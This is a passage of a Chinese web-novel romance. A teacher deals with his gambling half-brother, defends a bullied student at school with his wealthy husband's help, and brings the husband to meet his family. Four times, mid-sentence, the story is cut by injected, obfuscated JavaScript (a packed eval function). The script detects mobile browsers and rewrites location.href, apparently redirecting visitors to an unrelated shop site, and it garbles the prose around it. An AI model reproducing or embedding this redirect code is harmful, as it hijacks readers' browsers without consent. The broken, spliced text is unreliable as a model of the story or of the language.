“那你既然结婚了,怎么不带他来和我们吃顿饭,大家都很好奇啊。”陆其压下心中的无语。 “下次吧,”霍觅摸过手上的戒指,“我们还在培养感情。” “至于现在,你该走了。” 方知安跨出了花园,霍觅说罢就抛下陆其笑着走到了方知安身边,低下头又和他说起了话。 和方才的冷然不同,他在方知安面前温柔又黏糊,就像一刻不见主人的小狗,甩着尾巴往上凑。 陆其在拐角把霍觅的360°大变脸看了个完全,嘴角轻抽,内心唏嘘不已。 他也不知道当年那个冰山脸是怎么长歪成这样的,现在看来,简直是个闷骚怪。 陆其毫不留情地吐槽。 * 方知安心里压着事,情绪不太对劲。 他脑子里一直是刚才那通电话,回去的路上有些心不在焉。 一进家门,圈圈过来蹭裤腿,方知安就去拿了根猫条,坐在沙发上喂它。 霍觅也在一旁坐了下来,他看向方知安,问:“学长,刚才是谁的电话啊?” 方知安犹豫片刻,最后还是叹了口气说:“我弟弟。” “他为什么突然给你打电话。”霍觅皱起了眉,“有事的话,不应该找他爸吗?” 之前方知安和他说过自己家里的事,但只是草草提了个大概,并没有说的太详细。 方知安对霍觅说自己父母早年离异,弟弟跟了父亲,并且他们之间关系不太好。他们都是聪明人,霍觅知道方知安不想提,因此后来没有多问过一句。 “他们是生活在一块儿,但陈建,也就是我爸其实不太管他。”方知安弯腰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073681|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把脑袋靠在了膝盖上。 圈圈察觉主人心情不太好,绕了几个圈跑到方知安腿边乖顺地坐了下来。 “所以你弟弟打电话来和你说了什么,”霍觅眼底划过一丝阴霾,但语气还是柔软,“学长,你心情都不好了。” 方知安摇摇头,嘴角抿起:“他没说什么,就是问我要钱,我没那个义务,所以也不打算给他。” “他要那么多钱做什么?”霍觅很敏锐。 方知安看了眼身边的人,目光定在了某一点:“我也觉得不对,但刚开始我怎么问他都不说,到最后没办法了他才肯承认。” “他去赌博了,而且还欠了一笔债。” 方知安手心紧攥,似乎是没想到陈知洋才上高中能做出这样的事情来。 父母离异早,他和陈知洋接触的不多。最开始方知安陈知洋偶尔也会去舅舅家,方知安想做个好哥哥,处处体谅照顾,拿出自己仅有的零花钱给他买这买那。 但不过短短几年,陈知洋就把陈建那些恶习学了个干净,甚至直接在舅舅家偷起了东西,还趁人不注意掐方奕文的胳膊,掀她的裙子。 那之后方知安不再和他亲近,只力所能及地提供一点生活费。 “那你准备管他吗?”霍觅问。 “不管,这是他自己的事,”方知安语气果决,“我每个月都有定期给他和陈建打生活费和赡养费,已经是仁至义尽了。” 霍觅问:“你是担心他们会找上家里来吗。” 他不动声色地把自己和方知安划在了一块儿,此时此刻,他们才是家人。 方知安被说中了心思,语气沉闷地说:“嗯。陈知洋早晚瞒不下去,陈建说不定还会找到学校去。” “那你准备怎么做?” “他们要是真的敢来闹,那我就报警。” 霍觅平时在方知安面前把自己收敛得很好,几乎没什么脾气,但现在他的笑却不达眼底。 他的手覆上方知安的手背,两枚戒指交叠在一起。 霍觅说:“这个事交给我吧。” 方知安诧异转头,他并不想把这个麻烦推给霍觅。 “这本来和你没关系,你......” “怎么和我没关系,”霍觅笑了笑,“领证之后我还没好好问候过小叔子和岳父呢。” “学长,你就交给我吧。对付无赖要用无赖的办法,你放心,我不会让他们影响到你的。”霍觅安抚性地在他手背上蹭了蹭。 方知安的心一下软了,他也不知道该说什么,只讷讷道:“谢谢。” “不准说谢谢。” 霍觅站起身,牵着方知安的手一把将他从沙发上拉了起来。 方知安按着惯性往前冲了两步,被霍觅抱了个满怀。 霍觅把下巴搭在方知安肩上,高挺的鼻尖盯着他的侧颈,这是一个完全放松的姿势,霍觅在得到属于他的戒指后才敢这么做。 “你,怎么了?”被他这么一抱,方知安一下手足无措起来,刚才的不愉快都被暂时抛到了脑后。 “抱一下,”霍觅的胳膊圈住方知安,“不要去想他们了,看见你不开心,我的心情也不好。” “但是学长,我很高兴你现在愿意把这些告诉我。” 方知安逐渐放松下来,他借着拥抱的姿势摸了摸霍觅的头,说:“嗯,不想了。” 18. 撑个场子 方知安没具体问霍觅要怎么处理,只听他的话没再多想。 当天他被霍觅推着进了卧室,早早就睡了。 自从和霍觅同居,方知安的作息都变得健康起来。 他原本睡眠质量一般,睡不着的时候总是会吃褪黑素,但和霍觅睡在一块儿后,不知为何,入眠就变得很轻松。 属于草木的淡香让方知安很容易放松,属于另一人的温度,他也不再排斥。 第二天方知安遵循自己之前的承诺,上了霍觅的车去学校。 下了楼他才惊奇发现,霍觅居然真的换了一辆很低调的车子。 方知安瞥了眼前面的老刘,凑到霍觅旁边问:“这样会不会有损你的威严。” “不会,反正员工也看不见。”霍觅睁着眼睛说瞎话。 而这边,姜卓早上刚下车,就看见一辆平凡普通大众车在霍觅的车位上停下。 他还以为是哪个不懂事的员工,结果下一秒霍觅就从上面走了下来。 “老板你这......”姜卓愣在原地。 霍觅倒是不以为意:“愣着干嘛,上去了。” 姜卓险些以为公司要破产,呆了几秒后立马跟上了霍觅。 看着老板面色如常,姜卓悬着的心一点点放了下来。他想到自己那辆刚换的奔驰,思索着要不要配合霍觅换成尼桑。 可恶,老板的心思真难猜。 * 方知安过了几天平静日子,霍觅似乎将一切都处理得很好,陈建没有找上门,连电话都没打来。 陈知洋倒是不死心,后来又找过方知安一次,不过他看方知安半点都没准备给钱,态度就彻底变得恶劣起来。 “哥,我和爸才是你最亲的人,你连我们都不帮吗?我是你亲兄弟啊?!”陈知洋咬牙道。 “那你赌博的时候想过现在吗?”方知安站在走廊转角,面色不佳,“你不小了,自己做错的事不要想着别人来给你擦屁股。” “方知安,你真狠心。”陈知洋也不再叫他哥,语气阴沉地挂了电话。 起初方知安听这些话心里还有波澜,但现在,陈知洋那些毫无攻击力的话语只会让他只觉得厌烦。 而今天方知安按照计划是要带霍觅回舅舅家的,更没空和陈知洋多废话。 知道这件事的霍觅似乎是很紧张,一刻不停发消息问方知安有没有什么注意事项。 他一会儿觉得自己的领带不太庄重,一会儿又觉得穿西装会不会太正式。 方知安觉得他怪可爱的,打字说: 【圆:stop,霍先生你今天非常完美,请不要焦虑】 【圆:他们一定会非常喜欢你的[玫瑰/]】 刚过中午,方知安回着消息往教学楼走,刚爬到二楼就看见自家班长急匆匆地冲进了教室。 方知安纳闷,张佳雪一直是个挺沉稳的姑娘,怎么今天这么着急。 “方老师,方老师在这里吗?”张佳雪面色惊慌,在办公室里看了一圈。 “在这,怎么了?”方知安听见她是找自己,立马问。 “老师你快去班里看看!梁巡、梁巡他们打起来了!” 方知安听见梁巡的名字就心头一惊,他马上镇静下来安抚住张佳雪,说:“别急,我现在就过去。” 他快步跑向二班,门口那站了好多别班的人,他们窸窸窣窣交谈着往里看,看见有老师来立马作鸟兽散。 教室后排一片混乱,桌椅被打翻在地,学生们被吓坏了,都躲到了门外。 后排地上蹲着一个人,正愣愣地看着自己的手,口中喃喃不停,而一旁的梁巡脸上挂了彩,此时有点不知所措地挠了挠头,看着地上的人欲言又止。 教室门大开,梁巡抬头,方知安素来温和的面容此时严肃紧绷。 梁巡一见着方知安就像是见着了主心骨,立马道:“方老师,你快来看看周礼,刚才他还好好的,现在这是怎么了?” 周礼就是当时王充裕口中那个“精神有点问题”的学生,平时沉默寡言,没什么存在感。 而此时,他的呼吸声却越来越大,到最后颇有些失控地尖叫了出来。 “啊——!” 周礼把脑袋埋进了胳膊,不管不顾地发泄着。 方知安想起周礼家长之前交代的应对办法,他立马让所有人都往门外走,再把教室门带上。 吵嚷的环境变得安静,他走到周礼近旁蹲下,没贸然去碰他,只是安慰道: “周礼,没事的,我是方老师。” “来,深呼吸,不要紧张,不会有事的。” “慢慢来,深呼吸,对就是这样。” 方知安语气缓和地重复,周礼发颤的身体和尖叫声逐渐停止。半晌,他从胳膊中抬起头看向方知安。 原本白净的脸上是几道抓痕,周礼眨了眨眼,一刹那,两行眼泪不受控地流了下来。 “方老师......有人,有人欺负我。” * 从中午到下午,二班可以说是一片混乱。 在梁巡、张佳雪和一众同学的言语中,方知安拼凑出了这件事的全貌。 周礼在食堂吃饭的时候总能遇到两个高二的学生,他们是班级的吊车尾,每天就想着找乐子。 精神上的问题让周礼看起来和旁人有些不同,他们发现了这一点,总会在食堂堵人。 周礼刚开始谁也没告诉,但今天他实在没忍住,打了其中一个男生一下。 结果后来那两个男生跟着周礼来到了二班,趁着中午大家都出去吃饭,班里没人,就肆无忌惮地欺负他。 但好巧不巧,正好今天梁巡肠胃不舒服没去食堂。 他一进门就看见自己同学被人压着打,想也没想,直接冲了上去一挑二。 后来动静闹得很大,那两个人见状不妙,就溜走了。 梁巡倒是不担心自己身上的伤,但周礼却受到了很大的刺激,变得有些失控。 而后,就是方知安进门时看到的那一幕。 这件事的性质明显就是校园霸凌,方知安看不得自己学生被欺负,直接找上了高二的年级主任。 那两个男生却咬死了是周礼先动的手,趾高气昂,没有一点认错的态度。 “他先动的手?你当食堂的监控都是摆设吗?”方知安表情严肃。 “你们有没有想过这样做的后果?还是单纯觉得有趣?” 年纪主任知道他生气,连忙开始劝慰。 对面的班主任也满眼无奈,明显是拿班上的两个刺头没办法。 “总之你们先把当事人的家长找来吧,具体的我们到行政楼去说。”年级主任叹了口气。 方知安也知道杵在这不是办法,于是先回了办公室。 其他学生都在午休,只有周礼和梁巡坐在办公室里。 方知安给周礼妈妈打了电话,周礼妈妈一听这情况急得不行,二话不说就要来学校。 梁巡在此时抬起了头,问:“那个......我爸妈都不在国内,这怎么办?” “要不,老师你可以当我家长吗?”梁巡仔细一寻思,觉得这样也不是不行。 方知安看了眼梁巡眼下的淤青,心头火起:“我给你哥打电话,这件事今天必须得好好处理,绝对不能敷衍。” 沈苗苗看了眼后面的情况,小声对梁巡说:“你们方老师这是真发飙了。” 梁巡立马正襟危坐,他觉得自己做的没错,但结果如何,他也不敢保证,因此心里满是忐忑。 方知安拨了霍觅的电话,那边很快接起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073682|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“学长?现在怎么给我打电话。”霍觅的声音有点意外,这个点他正准备要去开个部门会议。 “你弟弟在学校被人欺负了,”方知安开始告状,“他脸被人打了,现在要叫家长,伯父伯母不在,你有空过来吗?” 霍觅那头静了一下,立马正色:“发生了什么?” 方知安简单叙述了一下事情的经过,他说:“这件事梁巡做得没有错,不管怎么样,我都不会让他受处罚的。” 沉默短暂占领了频道。 “他是没错,而且做的很对。”霍觅沉下声。 “给我十五分钟,马上就到。” 电话挂断。 姜卓原本还在准备会议资料,结果霍觅从座位上站了起来。 “我有点事,部门会议就不去了,让chloe顶上,有事回来再和我说。” 他拉开抽屉,里面是各式各样的豪车钥匙,霍觅看了眼,挑了劳斯莱斯幻影。 “您这是去?”姜卓被这突如其来的一出搞得一脸懵。 霍觅理了理领带,说:“去给我弟弟撑场子。” * 方知安带着梁巡和周礼到了行政楼,在此之前他已经让保卫处去调食堂的监控。 他们刚坐下,高二那两个学生也吊儿郎当地走了进来。 他们的父母更早接到通知,这会儿已经赶到了会议室,其中一个妈妈看着自己儿子脸上的心疼的不行。 “你们这些小孩都怎么回事,上学怎么还打人的!”她站起来直接拍了桌子。 方知安面不改色,他以前没遇到过这样的事,但他身为班主任要想护着自己的学生,气势就绝对不能弱下去。 “谁是霸凌者,等到监控调出来就清楚了,”方知安睨了一眼对面的人,“这位家长,这里是学校,损坏公物记得赔钱。” 周礼被刚才的动静吓了一跳,他闷不吭声发着抖,方知安看见后连忙安抚着拍了拍他的后背。 “霸凌?我们才没有霸凌,是这个什么周、周礼主动打人,还有旁边那个,也是帮凶!”一个学生面上不忿地开口,另一个听见了也跟着应声。 他们也不是傻子,来之前找人问过周礼的情况,知道他不过是个简单的单亲家庭,远不如自己家的条件,于是越发有恃无恐。 学生的发言更是让他们的家长气焰嚣张。 “对啊,我们家小孩那么乖怎么可能做这种事,你当老师不要血口喷人,当心我去教育局举报你!” 高二的班主任坐在这样四个人旁边脸上完全挂不住,只能带着歉意看了方知安一眼。 “方老师你别和这群人多费口舌,有其父必有其子,他们就是上梁不正下梁歪!”梁巡忍不住出声。 年级主任眼看场面就要收不住,连忙开口:“都别吵了,具体的事实没确认之前争吵没有意义。” 但梁巡刚才的话却让对面的一个学生破了大防,他直接骂出了国粹:“我艹你**,你**以为你是谁啊?” 而就在这时,会议室的门被推开,一中的校长和副校长,包括德育处主任都走了进来。 他们面色严肃,脚步匆匆。 年级主任懵了,问:“校长,你们怎么来了?” 方知安在此时却心有所感,抬头和梁巡一道朝门口看去。 只见人群之后,踏入会议室的霍觅一身西装,面容冷峻。 他肩背宽阔,单是一言不发地站在那就让人不敢乱说话。 副校长恭敬地给他开门,而他的目光则缓缓落到了那个出言不逊的学生身上。 尚在象牙塔的学生哪见过这架势,只觉得自己的脖子都被人扼住,一瞬间全身上下的汗毛都立了起来。 霍觅眉心微蹙,看着眼睛都瞪圆的男生,问:“你刚才,在骂谁?” 19. 得胜归来 校长和其他领导都来了,在这么多人面前那个学生一下成了哑炮,张了张嘴却没出声。 “校长,这位是?”年级主任看着恭敬的副校长,意识到来人或许并不简单。 但还不等其他人回答,梁巡的声音就插了进来。 “哥!你来啦!”梁巡开心地朝霍觅招了招手。 他刚才还一脸蔫,看见霍觅来了全身又打起了劲,身上的伤都不痛了,甚至还能和对面大战三百回合。 霍觅的目光触及方知安和梁巡,凌厉的气场稍加收敛,他越过一众领导直接走到了方知安身后,然后摸了摸梁巡的脑袋。 他转向方知安,微不可察地顿了顿:“方老师,还好吗?” 霍觅的到来带来了莫名的安全感,方知安一愣,说:“没事。” 对面两个家长看见这架势直接怔在了原地,他们都是在社会上摸爬滚打过的人,自然知道眼前的不过是学生间的小事。 但既然能让学校领导都出来欢迎,那这个年轻男人的身份绝对不一般。 思及此,他们原先的气焰都逐渐灭了下去。 事情还没解决,霍觅拉开椅子在方知安身边坐下,那原本就是为他准备的位子。 他抬眸看向对面的人,却没和他们多废话,直接问校长:“王校,这件事你们准备怎么处理。” 王校长心里已经有了底,保证道:“您放心,保卫处的监控马上就送到,到时候我们一定会公正看待,给大家一个合理的结果。” 霍觅点了点头,对面似乎想要开口,但他并没有协商的意思,只是问梁巡身上哪里痛。 梁巡这会儿哪还顾得上痛,他年轻,心里藏不住事,只觉得爽爆了。 自家两个哥哥都在撑场子,他完全不带虚的:“我没事哥,就是我同学被他们打伤了。” 说完这话他偷摸着低下头,小声说:“哥你好帅啊,不止你,刚才方老师也很帅。” 霍觅眼里闪过一丝笑,他瞥了眼方知安,好巧不巧,两人的目光就在半空中相撞。 而此时年级主任完全状况外,其实不只是他,另外的老师也不知道为什么学校的领导的态度会这么好。 会议室里静悄悄的,年级主任压低声音回过头去问德育处负责人:“诶老魏,这位什么来头?” 魏老师看了眼一脸不悦的霍觅,更低地说:“你是不知道,这位是觅途的老板。学校东边的修德楼,还有北边的明玉楼,全是他投的钱。” 年级主任闻言不由得“嚯”了一声,看向霍觅的眼神也变得不一样起来。 这可是大财神爷啊。 “这来头,”他轻啧,“方老师班上真是卧虎藏龙。” 犯事的学生也后知后觉地意识到自己似乎惹到了什么了不起的人,一个两个全部自动噤了声。 学校的办事效率不错,众人短暂等候后,相关的监控视频就被送到了会议室。 魏老师看了眼校长的眼色,直接把它投到了大屏幕上。 这些监控也不单是今天拍摄的,甚至还包含以前那两个学生在食堂堵周礼的画面。 任凭他们在对峙时颠倒黑白,监控的时间和画面清晰说明了谁才是校园霸凌的施暴者。 余下的监控则是高三(2)班的摄像头记录下的。 只见今天中午十一点五十几分,周礼十分惊慌地跑进了教室。没一会儿,另两个人就跟了进来,不由分说地把坐在凳子上的周礼拖了下来,随后便开始拳打脚踢。 周礼全程没再反抗,只是蜷起身体抱住了自己的头。 而就在这时,梁巡从前门走了进来。他一看见后面的混乱就冲上去拉开了两人,将周礼挡在身后。 但对面的人明显不想就此结束,因此和梁巡也打了起来。 事已至此,事情已经很清楚了。 霍觅看着监控,缓缓地摩挲着手上的戒环,侧目问:“现在,你们准备怎么处理?” “我想我弟弟和他的同学都需要得到一个交代。” 这事明显就是对面不占理,看了视频后就连那两个家长都哑了声,不再辩驳。 “我们一中向来是很看重校风校纪的,这样的校园霸凌的行为我们不会容忍,对这两个学生,我们会予以处分。”校长思索片刻,果决开口。 “处分是必须的,”霍觅面上没有表情,“除此之外,他们还要当众道歉并且承担受伤同学的医药费。” 方知安知道霍觅并不缺这点钱,之所以这么说,不仅仅是为了梁巡,也是为了周礼。 听闻此言的周礼霎时睁大了眼,似乎是不可置信。 他平时独来独往,不太爱和人交流,孤僻且没什么朋友。 以前他逆来顺受惯了,哪怕是在原先那一届也老是受到欺负。现在休学回来跟这些原比自己小的同学共处,他也时常会觉得惶然。 这是周礼第一次反抗后被人维护,这种感觉很奇妙,他只觉得自己像是飘起来了一样开心。 “凭什么?我们也是受害者?!”其中一个人仍是不服,原先开口骂人的那个现在却不敢开口,只看了眼同伴就迅速闭上了嘴。 “这件事不用再说了,”校长开口打断,“就按霍先生说的来。” “两位同学,你最好想清楚再开口,这件事要是真的闹大,对你们有弊无利。” 校长本就是个严厉的人,此时板起脸来威力更佳。 闹到现在,家长已经不想再纠结下去,只想快点息事宁人,于是最后他们还是压着自己的孩子道了歉。 周礼老实,愣愣地就接受了。但梁巡却看不过眼,偏开头懒得多说。 * 校园霸凌毕竟不是小事,那两个施暴者被勒令停学一周。 梁巡和周礼也被各自家长带走,虽说他们俩都说自己没事,但到底是打了架,还是得去医院看看才能放心。 校领导们簇拥着来,簇拥着去,梁巡怪不自在,只拉着霍觅赶紧想跑。 高三生能有半天假期不容易,他也不例外,当然不想放跑这机会。 霍觅知道方知安不想让他们的关系在学校里传开,因此也没声张,只是走的时候给方知安发了个消息。 【霍觅:我带梁巡去医院看看,傍晚来接你】 【圆:[OK/][OK/]】 在会议室的时候霍觅手上的戒指耀眼,方知安当时下意识把手搭上了自己的胸口。 在薄薄的布料背后,一枚穿着银链的戒指正挂在他脖子上,冰凉的戒环与皮肤紧触,逐渐变得温热。 而这,只有他和霍觅知道。 学校就是个小圈子,有什么事都传得飞快,更何况是这种跨年级的大事。 方知安回班里的时候下面的学生已经乱成了一锅粥,同学们实在好奇,他简单交代了两句。 知道了全过程,班上越发人声鼎沸。 二班的集体荣誉感很强,大家都看不得自己的同学受欺负。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073683|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别吵了,现在事情已经结束了,”方知安终于放松下来,露出了点笑容,“那么现在,我们开始抽背历史吧。” 登时,全班又一齐唉声叹气,哗哗的翻书声接连响起。 忙活到傍晚,方知安终于可以下班回家。 他让霍觅把车停到学校后面,那里不容易堵车,也方便调头。 结果方知安出了后门,看了一圈也没找到车,而此时路边一辆黑色的劳斯莱斯响了一声。 意识到什么,方知安立马扭头去,只见后座的窗户降下,梁巡探出头,说:“方老师,这里!” 方知安震惊着上车,今天老刘不在,司机就是霍觅本人。 “怎么又换了一辆?” “嘿嘿,这不是我哥给我撑场子来的吗。”梁巡乐呵呵,“当时出了校门,他们一看见我哥开的车就溜得更远了,生怕蹭上。” 方知安无奈:“这法子还挺有效。” “对了,你们去医院看了吧,身上没事吧?”方知安问。 霍觅笑笑说:“他一点事没有,小时候练过格斗,要是被人摁着打那才叫丢脸。” “那你练过吗?”方知安起了兴趣。 “我吗?”霍觅扬起一点唇角,“我不止练过格斗。” 梁巡立马往前一靠,给方知安补充注解:“他练过格斗、拳击、散打、跆拳道......反正样样都精通,我可打不过他。” 方知安咋舌,没想到霍觅这么深藏不漏。 “对了哥,晚上我可怎么办啊?”梁巡苦哈哈开口,“老家没人,你准备把我丢哪。” 霍觅打转方向盘,挑眉道:“那你得问你方老师,我都听他的。” 梁巡得了令,转向方知安开始念叨:“方老师,别丢下我,拜托拜托。” 他说着比了个祈求的手势。 不得不说梁巡的接受能力确实很好,这才没两天,他和方知安相处起来已经完全没了尴尬的感觉。 “那就和我们一块儿去吃饭吧,”方知安笑着下了决定,“舅妈应该不会介意多双筷子。” 从一中开到方知安舅舅家有一段路程,梁巡本来就累,听着纯音乐昏昏欲睡,方知安则和霍觅小声聊着天。 “今天来这一趟会不会影响你工作啊?” “不影响,公司那边人很多,我不在也不会出乱子。” “还有,学长,你觉得我今天表现得怎么样。”霍觅笑着问。 方知安颔首,随后非常主观地评价:“你今天特别特别帅。” 霍觅闻言笑了,似乎是很满意。 “说到这个,你什么时候给一中投的钱,我也就刚才听魏老师说了两嘴,你居然建了两栋楼吗?”方知安依旧觉得很震惊。 “以前的事了,不算太多,反正这是好事。”霍觅没明确说。 方知安也没接着往下问,又说起了别的。 他们慢悠悠聊着,到了目的地,霍觅把梁巡喊了起来。 方知安舅舅家还是老式的小区,楼下公共车位紧张,最高不过六层,上楼也没有电梯。 来开门的是方奕文,祝莉和方正国也急匆匆从厨房走了出来,全家人严阵以待,准备迎接方知安的对象。 不过上楼的时候梁巡走在最前头,这会儿开门,他也首当其冲地站在最前面。 方奕文霎时瞪大了眼,她盯着梁巡的脸看了两眼,然后小声对祝莉说: “妈,这真有26吗,16顶天了吧?” 20. 学长别走 方家门口,梁巡和方奕文大眼瞪小眼。 “什么26什么16?”梁巡不明所以。 方知安意识到方奕文大概是误会了什么,开口道:“文文,这位是霍觅的弟弟。” 他刚说完,那边霍觅就踏上了最后一阶楼梯,出现在门口。 方奕文看见西装革履的霍觅本人才知道自己闹了乌龙。 她耳朵一红就往里面跑,不过走之前还不忘礼貌的给梁巡拿了双拖鞋。 这次吃饭霍觅按着方知安的要求,没带什么贵重的东西,只买了一些补品和水果。 刚才那一出让方知安哭笑不得,他接过霍觅手中的东西,随后三人就一道进了门。 “舅妈,这位就是霍觅,我对象。”方知安笑着郑重介绍,然后又看向梁巡,“这是霍觅的弟弟梁巡,今天晚上没处去,我就带着他一起过来了。” “好好,人多热闹,我可做了好多菜呢,”祝莉看着标志的兄弟俩笑得合不拢嘴。 “小梁也在上学呢?多大啊。” 梁巡是个自来熟,也不害羞:“高中,今年高三了,就在方老师班里。” “这么巧啊,”祝莉一惊,“那真是有缘分。” 一转身,她又瞧见方知安正在把手里的大包小包往客厅放。 “来家里吃饭还带什么东西啊,以后不许了,知道嘛。” 霍觅很上道,立马说:“知道了舅妈,今天我是第一次来,还不懂事。” 对方知安而言舅舅家就是最亲近最熟悉的地方,但今天他带着霍觅回来,又总觉得哪里不太一样。 明明最该紧张的是霍觅,但方知安的掌心也冒了汗。 祝莉接了客人没急着进厨房,而是在外面和霍觅聊了会儿天,霍觅言谈举止都礼貌尊重,也不会让祝莉的话撂地上。 祝莉越看他越满意,方正国看着心情也很好。 厨房里的菜还没做好,祝莉又拿起围裙准备进去忙活。方知安原本想去给祝莉帮忙打下手,但今天却被推了出来。 “你就在外面陪陪小霍,我这很快就好。”祝莉摆摆手,只让他们别忙活,在客厅吃点零食喝点茶就好。 她说完就拉走了方正国,只留了两个大人两个小孩在客厅。 方奕文看了眼梁巡又看了眼霍觅,满是好奇问:“你们是亲兄弟吗?” “真是,”梁巡有点纳闷,因为身边总有人这么问他,“难道我和我哥长得不像吗?” 他说着还自顾自摸了摸下巴:“我觉得还挺像的啊。” 方奕文一本正经地鉴定:“你哥看起来很有气场,但你看起来......像高中生。” “我本来就是。”梁巡不服气,这算什么差别。 方奕文转开头掏了包薯片:“你不懂。” 一个是小说里酷炫霸气的总裁大哥,一个是愣头青二少,这哪能一样。 不过方奕文没把这话说出来,她小声啃着薯片,视线却一直往自家哥哥那边瞟。 这头霍觅看见祝莉离开,刚才的成熟稳重外衣立马被脱下,他凑到方知安身边:“我表现得怎么样?” “很好。”方知安不假思索,“舅妈看起来很喜欢你。” 霍觅笑了起来,正好两人靠得近,他接着外套的遮掩把手搭在方知安的手上。 “学长,你今天有带戒指吗?” 自从当初得到应允,霍觅这些天总是贴着他牵手拥抱,方知安逐渐脱敏,现在已经完全习惯了这种相处方式。 他也偏过头,像是讲悄悄话一样说:“带了,我塞在衣服里面。” 霍觅的眸色一深,没有开口,只是看向方知安的T恤,隐约间他似乎确实能看见一个戒指的轮廓。 他们两个人在这边旁若无人地挨着,方奕文在另一边看得手里的薯片都不香了。 她悄摸捂着嘴,双眼发光,只差彻底尖叫出来。 梁巡饿得肚子叫,但这毕竟是在方老师长辈家里,而且他哥还在见家长,所以他还是不大好意思吃东西。 他百无聊赖盯着电视,侧目却看见方奕文憋得满脸通红。 梁巡还以为怎么了,连忙问:“你没事吧?” 方奕文又再次拿出了那种“你不懂”的表情,然后目光如炬的看向那边两人:“他们真的!磕死我了!” “磕?”梁巡对此一窍不通。 “你不觉得他们互动很萌嘛?”方奕文两眼亮晶晶的,“而且你不觉得他们特别般配吗,都很帅啊!” “萌?你说我哥和方老师萌?”梁巡百思不得其解。 一想到霍觅卖萌的样子,梁巡不由起了一身鸡皮疙瘩。 方奕文叹了口气,听见祝莉叫他们去吃饭,幽幽地看了眼梁巡,说:“我就说了,你不懂。” 祝莉和方正国都是老实人,他们前半生就是平平淡淡过来的,骤然遇见霍觅这样的人,起先总有些不自在。 但霍觅身上没什么架子,什么都能搭话,也不会嫌祝莉唠叨。 一顿饭宾主尽欢,两口子都对方知安的对象满意的不行。 方奕文这个年纪的小姑娘,对外界的好奇心极高,她打小不怕生,吃完饭之后趴在沙发靠背上问霍觅:“哥哥,你和我哥哥是怎么认识的?” 霍觅垂眸笑了笑,他说:“你哥哥是我以前的学长,我们大学社团里认识的。” “那你们当时就恋爱了吗,我还以为哥哥大学的时候没找过对象呢。”方奕文嘟哝。 “学长确实没谈过,”霍觅顿了顿,“我们后来才在一起。” 他说的含糊,方奕文却无所察觉,只觉得嘴里被塞了一把糖。祝莉见状过来拍了一把她的脑袋,“你个小姑娘家家乱问什么呢。” 方奕文被训了也不生气,捂着脑袋转了个身,小声嘀咕:“诶,哥哥去哪了?” 此时阳台上。 方正国打开窗户点了一根烟,他瞄了眼头顶,确定外面没晒衣服才敢放心抽。 方知安看着觉得好笑,方正国无奈地吐了口烟:“没办法,万一给衣服弄臭了,你舅妈不砍了我。” “您也少抽点,对身体不好。” “知道知道,我现在一天就抽两根,放心啊,”方正国应声,良久,语气又沉了下去,“知安啊,你爸爸那边的事情……你知道了吗?” 方知安被方正国教出来的时候就猜到了大概,此时只是默默点头。 “陈建那个无赖怎么样我根本不想管,但是陈知洋……他好歹也叫我一声舅舅,唉。”方正国眉心紧皱。 方知安也知道他的纠结,但并没有心软,只说:“这是他自己犯的错,那就让他自己去还。他有手有脚,要是真的愿意早晚可以把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073684|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些还上。” “现在一味的包容帮助才是害了他。”方知安移开了目光。 方正国知道这理,最后还是问方知安:“知安啊,舅舅听你的,所以真的不帮知洋吗?” “不帮。”方知安毫不犹豫。 “你和舅妈的钱就用在自己和文文身上,其他的……都不用管。” 第二天方知安和霍觅还要上班,再加上梁巡还需要安顿,他们饭后没留太久就出了门。 祝莉抱了抱方知安,让他下次多带霍觅回家坐坐。 上了车,梁巡又开始担心自己的去留:“哥,都这个点了你总不会把我扔回学校吧。” “你怎么知道我不会?”霍觅瞥了他一眼。 梁巡顿时汗毛倒竖,他趴到方知安在的副驾驶坐后头:“方老师,你帮帮我,我哥太残暴了。你们要不就收留我一下?” 方知安还挺爱看他们斗嘴,他也逗起了梁巡:“那你回去,我看你背历史怎么样。” 梁巡闻言“咚”的一声倒回了后座,满脸生无可恋:“要不……哥你还是送我回学校吧。” 